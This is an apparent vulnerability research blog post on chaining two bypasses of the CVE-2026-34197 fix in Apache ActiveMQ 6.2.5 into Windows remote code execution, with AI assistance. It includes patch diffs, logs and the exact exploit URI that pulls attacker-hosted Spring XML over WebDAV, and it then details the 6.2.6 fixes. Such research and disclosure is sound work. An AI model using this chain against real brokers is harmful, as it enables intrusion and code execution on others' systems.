Chaining an Apache ActiveMQ RCE on a Fully Patched 6.2.5 (CVE-2026-34197)
A few months ago, I began integrating Claude AI into my N-day research at Crowdfense to speed up my workflow. At first, I wanted to test its capabilities in script writing, patch diffing, bug finding, and other related tasks. I had read many blogs and posts from other security researchers about it, but I still wanted to experiment myself, and the result was impressive.
Introduction
For my first AI co-working experiment, I picked an open-source product. After a quick search on the internet, I found this blog from Horizon3.ai and gave it a try. After around 10 working hours with Claude, I succeeded in reproducing the vulnerability and even found a chain of bypasses that combine into a fresh code execution on the latest ActiveMQ Classic (version 6.2.5 at the time of this work).
Vulnerabilities in detail
CVE-2026-34197
In short, CVE-2026-34197 is a post-auth RCE: an authenticated Jolokia call invokes BrokerView.addNetworkConnector with a vm://...?brokerConfig=xbean:<url> URI, making the broker load attacker-controlled Spring XML that instantiates a ProcessBuilder bean and runs a command. Readers can find more information in the original blog. In this section, I will focus on how it was fixed: The patch put a validator in front of the connector URI, on BrokerView:
validateAllowedScheme(String): a deny-list.vmis on it (later follow-ups added more discovery/transport schemes), so a top-levelvm://...connector URI is now rejected outright.validateAllowedUri(URI, depth): checks the outer scheme, and if the URI is a composite (static:(...),failover:(...), etc.) it parses the components and recurses, so you cannot just hidevm://one level down inside a composite wrapper.
Besides that, the release version of Apache ActiveMQ 6.2.5 Classic contains a separate hardening (#1910) that also locked down the XBean side: XBeanBrokerFactory gained a protocol allowlist (XBEAN_BROKER_FACTORY_PROTOCOLS, default file,classpath), so xbean:http://... could no longer pull a broker definition straight off a remote server.
Bugs inside the fixes
The first bug (CVE-2026-34197 bypass)
I had Claude pull the diff of the validator commit and explain it:
git clone https://github.com/apache/activemq.git
cd activemq
# the two commits that make up the CVE-2026-34197 fix
git show a4c771f24 70caa1b4a -- \
activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
Stripped down to what matters, the fix wires a validator in front of both connector entry points and adds the recursive checker:
--- a/activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
+++ b/activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
@@
+ public static final Set<String> DENIED_TRANSPORT_SCHEMES = Set.of("vm" /* , ... */);
+
@Override
public String addNetworkConnector(String discoveryAddress) throws Exception {
+ // Verify a denied transport scheme is not used
+ validateAllowedUrl(discoveryAddress);
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
...
}
+
+ private static void validateAllowedUrl(String uriString) throws URISyntaxException {
+ validateAllowedUri(new URI(uriString), 0);
+ }
+
+ private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
+ if (depth > 4) {
+ throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
+ }
+ validateAllowedScheme(uri.getScheme()); // (a) outer scheme
+ if (URISupport.isCompositeURI(uri)) { // (b) the gate
+ URISupport.CompositeData data = URISupport.parseComposite(uri);
+ depth++;
+ for (URI component : data.getComponents()) {
+ if (URISupport.isCompositeURI(component)) validateAllowedUri(component, depth);
+ else validateAllowedScheme(component.getScheme());
+ }
+ }
+ }
+
+ private static void validateAllowedScheme(String scheme) {
+ for (String denied : DENIED_TRANSPORT_SCHEMES) {
+ if (scheme.equalsIgnoreCase(denied)) {
+ throw new IllegalArgumentException("Transport scheme '" + scheme + "' is not allowed");
+ }
+ }
+ }
The logic is: check the outer scheme (a), and only if the URI is composite, recurse into each component (b). The whole defense against a hidden vm:// rests on that isCompositeURI(uri) gate firing. So the question becomes: when does isCompositeURI return true?
public static boolean isCompositeURI(URI uri) {
String ssp = stripPrefix(uri.getRawSchemeSpecificPart().trim(), "//").trim();
if (ssp.indexOf('(') == 0 && checkParenthesis(ssp)) return true; // SSP must START with '('
return false;
}
It only returns true when the scheme-specific part starts with a literal (. That is the form the patch authors had in their heads, and it is the only form their tests cover. The patched JmxCreateNCTest enumerates the deny list and tries three shapes per scheme:
1. vm://localhost (direct) 2. static:(vm://localhost) (single composite, parens) 3. static:(static:(static:(...vm://localhost...))) (nested composite, parens)
Every blocked form has parentheses. Nobody tested the parenthesis-free wrapper. And static: does not actually need them:
static:vm://rce?brokerConfig=xbean:http://attacker/poc.xml
Walk it through the validator:
- outer scheme =
static-> not on the deny list, passes(a). - SSP =
vm://rce?brokerConfig=xbean:http://attacker/poc.xml-> does not start with(, soisCompositeURIreturnsfalse. - gate
(b)is skipped, the loop never runs, the innervmscheme is never inspected. The validator returns clean.
(I use the original xbean:http:// payload here purely to isolate the validator bypass. On a shipping 6.2.5, the #1910 hardening already blocks that http fetch, which is exactly where the second bug comes in.)
The second bug
In the release version of 6.2.5, the #1910 hardening was added: the XBean factory now validates the URL protocol against an allowlist that defaults to file,classpath, so the original xbean:http://attacker/poc.xml is rejected before anything is fetched. So the question here is: can I trick the XBean factory into loading a controlled XML file using one of these protocols?
I asked Claude to find where ActiveMQ validates the URI, and it pointed me to the relevant code in activemq-spring‘s Utils:
public static final String FILE_PROTOCOL = "file";
public static final String REMOTE_FILE_PROTOCOL = "remote-" + FILE_PROTOCOL; // "remote-file"
// classifier used by the #1910 allowlist check
private static String getProtocolFromScheme(String uriString) throws URISyntaxException {
return isQualifiedRemoteFile(uriString) ? REMOTE_FILE_PROTOCOL : // -> denied (not in allowlist)
new URI(uriString).getScheme(); // -> "file" (allowed)
}
private static boolean isQualifiedRemoteFile(String uri) {
return uri.startsWith(FILE_PROTOCOL + "://") || uri.startsWith(FILE_PROTOCOL + ":\\\\");
}
The intent is clear: a file://... (or file:\\...) URL is “remote” and gets the remote-file marker, which is not in the default allowlist, so it is blocked. Anything else with a file scheme is a plain local file and is allowed.
The flaw is that isQualifiedRemoteFile is a raw String.startsWith on the undecoded URI, while the code that actually opens the file decodes it first. So if I percent-encode the two slashes, the classifier and the file opener see two different strings:
- the classifier sees
file:%2f%2fHOST/SHARE/p.xml, which does not start withfile://, soisQualifiedRemoteFilereturnsfalse,new URI(...).getScheme()returns"file", and the allowlist passes it. - the JDK’s
file:URL handler later runs its own decode, turning%2f%2fback into//, and opens//HOST/SHARE/p.xml.
That last line is where the platform matters. On Linux, new File("//HOST/SHARE/p.xml") is just an absolute local path (it collapses to /HOST/SHARE/p.xml), so nothing remote happens. On Windows, a path with a leading \\ or // is a UNC path, and the file layer hands it to the Multiple UNC Provider, which goes out to fetch it from HOST. This is why the full chain is Windows-only.
Exploitation
Windows SMB security hardening
new File("//ATTACKER/rce/p.xml") makes Windows resolve a UNC path and try to load the file from an SMB server. However, modern Windows refuses anonymous/guest SMB by default (AllowInsecureGuestAuth=0). So if I run the exploit against the target server, the broker logs the following error:
(...)
INFO | Establishing network connection from vm://localhost to vm://rce-48ad9284?brokerConfig=xbean:file:%2525252f%2525252fATTACKER_IP/rce/p.xml
ERROR | Failed to load: URL [file:%2f%2fATTACKER_IP/rce/p.xml], reason: IOException parsing XML document from URL [file:%2f%2fATTACKER_IP/rce/p.xml]
org.springframework.beans.factory.BeanDefinitionStoreException: IOException parsing XML document from URL [file:%2f%2fATTACKER_IP/rce/p.xml]
[truncated]
Caused by: java.io.FileNotFoundException: \\ATTACKER_IP\rce\p.xml (You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network)
[truncated]
WARN | Could not connect to remote URI: vm://rce-48ad9284?brokerConfig=xbean:file:%2525252f%2525252fATTACKER_IP/rce/p.xml: IOException parsing XML document from URL [file:%2f%2fATTACKER_IP/rce/p.xml]
(...)
WebDAV comes to the rescue
The SMB door is shut, but it is not the only way Windows resolves a UNC path. Windows ships a second UNC provider behind the WebClient service: the WebDAV mini-redirector. It registers alongside the SMB redirector under the Multiple UNC Provider (MUP), and MUP walks its providers in order. When the SMB attempt for \\ATTACKER\rce\p.xml fails, MUP simply falls through to the next provider, which is WebDAV over HTTP.
The trick to force that fall-through is to make the SMB attempt fail fast: leave nothing listening on the attacker’s 445/TCP. With no SMB server to answer, the connect is refused outright (instead of connecting and hitting the guest-auth policy block above), MUP gives up on SMB, and the WebClient redirector takes over. It resolves the very same UNC path over HTTP, issuing an OPTIONS, then PROPFIND, then GET against my server:
[webdav] ATTACKER - "OPTIONS /rce/p.xml HTTP/1.1" 200 - [webdav] ATTACKER - "PROPFIND /rce/p.xml HTTP/1.1" 207 - [webdav] ATTACKER - "GET /rce/p.xml HTTP/1.1" 200 -
WebDAV defaults to port 80, but the redirector also understands the HOST@PORT UNC syntax, so I can serve the payload on any port by encoding it into the host segment of the URI:
xbean:file:%2525252f%2525252fATTACKER@8080/rce/p.xml -> \\ATTACKER@8080\rce\p.xml -> http://ATTACKER:8080/rce/p.xml
This is the vector that actually lands on a stock target. The WebClient service is running by default on Windows 10/11 desktop SKUs, so all I have to do is stand up a small WebDAV server serving the XBean XML, keep 445/TCP empty on my side, and the broker fetches the payload over plain HTTP, no SMB credentials, no guest access required. (Windows Server SKUs ship with WebClient stopped by default, so the chain only completes there if someone has started the service.)
The final exploit chain
With both bugs in hand, the whole thing collapses back into the original CVE-2026-34197 shape: one authenticated Jolokia call to addNetworkConnector, with a single argument that carries both bypasses at once. The trick is to layer the pieces so each one defuses the guard at its own stage, from the outside in:
- Start from the sink we want:
xbean:file://WEBDAV_IP/rce/p.xml, a remote XBean XML loaded over a UNC path. That is what eventually has to reachXBeanBrokerFactory. - Wrap it as a
brokerConfig=on avm://transport with a random, unregistered host, soVMTransportFactorytakes the create-a-broker path instead of attaching to the running broker. - Defuse the
#1910allowlist (second bug): percent-encode the//in thefile:URL to a depth that survives every ActiveMQ decode pass and only collapses back to//at the JDK’s final decode. The classifier sees a plainfile:and lets it through. - Defuse the validator (first bug): prefix the whole thing with a bare
static:. The outer scheme is allowed and the SSP has no leading(, so the validator never recurses into the innervm.
Put together, the one argument handed to addNetworkConnector looks like this:
static:vm://rce-<uuid>?brokerConfig=xbean:file:%2525252f%2525252fWEBDAV_IP@WEBDAV_PORT/rce/p.xml
From there it runs itself: the validator passes it, the discovery agent re-parses it and brings the vm transport up, VMTransportFactory reads brokerConfig= and hands the decoded xbean:file:... to the XBean factory, the allowlist lets it through, the UNC path resolves over WebDAV, and Spring constructs the ProcessBuilder bean. One authenticated request in, code execution out, on a fully patched 6.2.5 Windows broker. As with the original CVE, the call may hang or error because the sub-broker never finishes coming up, but the bean has already run by then, so a clean response was never needed.
Demo
Below is a working PoC targeting ActiveMQ 6.2.5 running on Windows 11 24H2, with WebClient enabled.
Death of the exploit chain
Due to the limitations of the exploit chain, I wanted to keep digging for further findings that would let me make the exploit work on Linux. However, the release of ActiveMQ 6.2.6 kills everything:
Diffing 6.2.5 against 6.2.6 shows two independent code commits, either one of which alone is enough to break the chain. Together they are a clean defense-in-depth line.
Fix 1 – the validator no longer trusts the parenthesis gate
Commit c1b44af11 (“Handle validation for Composite URIs without parens”, #2004) rewrites validateAllowedUri. The if (URISupport.isCompositeURI(uri)) gate that the first bug relied on is gone; the validator now calls parseComposite unconditionally and recurses on every component with a non-null scheme, exactly mirroring how the transport stack itself parses the URI:
final URISupport.CompositeData data;
try {
data = URISupport.parseComposite(uri);
} catch (URISyntaxException e) {
return; // not a valid (nested) URI; stop checking
}
if (data.getComponents() != null) {
depth++;
for (URI component : data.getComponents()) {
if (component.getScheme() != null) {
validateAllowedUri(component, depth); // recurse, no isCompositeURI gate
}
}
}
Now static:vm://rce?... is parsed the same way the discovery agent parses it: the inner vm component is extracted and validateAllowedScheme("vm") throws. The Jolokia call is rejected with Transport scheme 'vm' is not allowed before any connector starts. The first bug is dead because the two parsers finally agree on what a composite URI is.
Fix 2 – VMTransportFactory will not build an xbean broker
Commit c2fc7a1d6 (“Block the XBeanBrokerFactory by default inside VMTransportFactory”, #2003) closes the sink from the other side. It adds a broker-creation scheme allowlist, default broker,properties, checked right before BrokerFactory.createBroker runs in doConnect:
private void validateBrokerCreationSchema(String host, URI brokerURI) {
if (allowedSchemes != null) {
final String detectedScheme = brokerURI.getScheme();
if (detectedScheme == null || !allowedSchemes.contains(detectedScheme)) {
throw new IllegalArgumentException("Broker named '" + host + "' does not exist and "
+ "broker creation using the scheme '" + detectedScheme + "' is not enabled ...");
}
}
}
xbean is not in the default set, so brokerConfig=xbean:... is refused no matter how the URI reached doConnect. This is the important one: it kills the second bug’s sink even if some future validator bypass re-opened the vm path, because the block now sits at the broker-creation step rather than at the URL allowlist the second bug slipped past.
Fix 3 – Jolokia locked down by default (config)
There is also be8415f24 (“Harden web console and Jolokia access by default”, #2025), which hardens the sample config rather than code. A fresh 6.2.6 install now binds the console to loopback, restricts /api/jolokia/* to the admins role, makes the bridge POST-only, and adds an operation deny-list with addNetworkConnector at the top. So even the entry point of the chain is shut on a default install. The caveat is that this only protects deployments that adopt the new config files; an upgrade that carries an old jetty.xml / jolokia-access.xml across is not retroactively covered. The two code fixes above hold regardless of config.
In short: Fix 1 closes the door the first bug walked through, Fix 2 removes the room the second bug was walking into, and Fix 3 locks the front gate. The chain is fully dead on 6.2.6.
Conclusion
AI keeps getting stronger and faster, and that is not going to slow down. Rather than treat it as a threat to the way we work, I think the right move is to learn how to fold it into our workflow. It is very good at the repetitive, mechanical parts of the job: pulling and explaining patch diffs, scanning across a large codebase, and writing the throwaway scripts and PoC scaffolding that would otherwise eat hours.
But it is not a replacement for the researcher. The bugs here did not come from the model deciding on its own what mattered; they came from steering it: asking the right questions, knowing which lead was worth chasing. The model does the heavy lifting, but we still hold the key, setting the direction and judging the output. Used that way, it is a genuine force multiplier for vulnerability research.